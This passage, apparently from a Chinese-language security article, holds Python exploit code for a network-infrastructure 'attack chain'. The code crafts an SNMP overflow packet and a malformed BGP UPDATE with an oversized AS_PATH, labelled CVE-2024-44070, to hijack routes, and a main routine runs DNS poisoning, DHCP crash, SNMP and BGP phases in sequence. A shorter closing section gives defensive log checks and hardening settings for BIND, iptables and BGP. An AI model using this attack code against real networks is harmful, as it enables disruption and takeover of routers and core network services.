    snmp_data = version + msg_id + msg_max_size + msg_flags + msg_sec_model + sec_params
    total_len = len(snmp_data)
    length_bytes = b'\x82' + struct.pack('>H', total_len)
    packet = b'\x30' + length_bytes + snmp_data

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(packet, (SNMP_SERVER, 161))
    sock.close()

    print("[+] SNMP 溢出数据包已发送")
    print("[+] 网络设备可能已被控制，攻击者获得 root 权限")

def phase4_bgp_hijack():
    print("\n" + "="*60)
    print("[阶段 4] BGP 路由劫持")
    print("="*60)

    # 构造恶意 BGP UPDATE（CVE-2024-44070）
    marker = b'\xff' * 16
    msg_type = 2
    overflow_data = b'\x41' * 65536
    as_path_attr = struct.pack('!BBH', 0x40, 1, len(overflow_data))
    as_path_attr += overflow_data

    next_hop_attr = struct.pack('!BBH', 0x40, 3, 4)
    next_hop_attr += socket.inet_aton("192.0.2.100")

    prefix_bytes = socket.inet_aton("10.0.0.0")
    nlri = bytes([24]) + prefix_bytes[:3]

    update_payload = struct.pack('!H', 0)
    update_payload += struct.pack('!H', len(as_path_attr) + len(next_hop_attr))
    update_payload += as_path_attr + next_hop_attr
    update_payload += nlri

    length = 19 + len(update_payload)
    header = marker + struct.pack('>H', length) + bytes([msg_type])
    packet = header + update_payload

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)

    try:
        sock.connect((BGP_ROUTER, 179))
        # 发送 BGP OPEN
        open_msg = b'\xff' * 16
        open_msg += struct.pack('>H', 29) + bytes([1])
        open_msg += struct.pack('!BHH4sB', 4, 65001, 180, socket.inet_aton("10.0.0.1"), 0)
        sock.send(open_msg)
        time.sleep(1)
        # 发送恶意 UPDATE
        sock.send(packet)
        print("[+] BGP 路由注入成功")
        print("[+] 目标网络流量已被劫持至攻击者控制的服务器")
    except Exception as e:
        print(f"[!] BGP 连接失败: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    print("[*] 网络基础设施完整攻击链")
    print("[*] 警告: 仅用于授权测试环境")
    phase1_dns_poisoning()
    time.sleep(2)
    phase2_dhcp_crash()
    time.sleep(2)
    phase3_snmp_exploit()
    time.sleep(2)
    phase4_bgp_hijack()
    print("\n[+] 攻击链执行完毕")
    print("[+] 目标网络已完全被控制")

# DNS 服务排查
named -v
rndc status
grep "denied\|error\|poison" /var/log/named/*.log

# DHCP 服务排查
kea-dhcp4 -V
journalctl -u kea-dhcp4 --since "1 hour ago"

# SNMP 服务排查
snmpget --version
ss -ulnp | grep 161
journalctl -u snmpd --since "1 hour ago"

# BGP 路由排查
vtysh -c "show ip bgp summary"
vtysh -c "show ip bgp | include unexpected"

# 全网异常流量排查
tcpdump -i any port 53 or port 67 or port 161 or port 179 -w infra_capture.pcap

# DNS: 限制递归查询来源
# named.conf 中添加
acl trusted_clients { 10.0.0.0/8; 172.16.0.0/12; };
options { allow-recursion { trusted_clients; }; };

# DHCP: 限制单播请求来源（iptables）
iptables -A INPUT -p udp --dport 67 -m state --state NEW -j LOG --log-prefix "DHCP-NEW: "

# SNMP: 限制访问来源
iptables -A INPUT -p udp --dport 161 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p udp --dport 161 -j DROP

# BGP: 配置 TCP MD5 认证
# bgpd.conf 中添加
neighbor <peer_ip> password <md5_password>
neighbor <peer_ip> ttl-security hops 1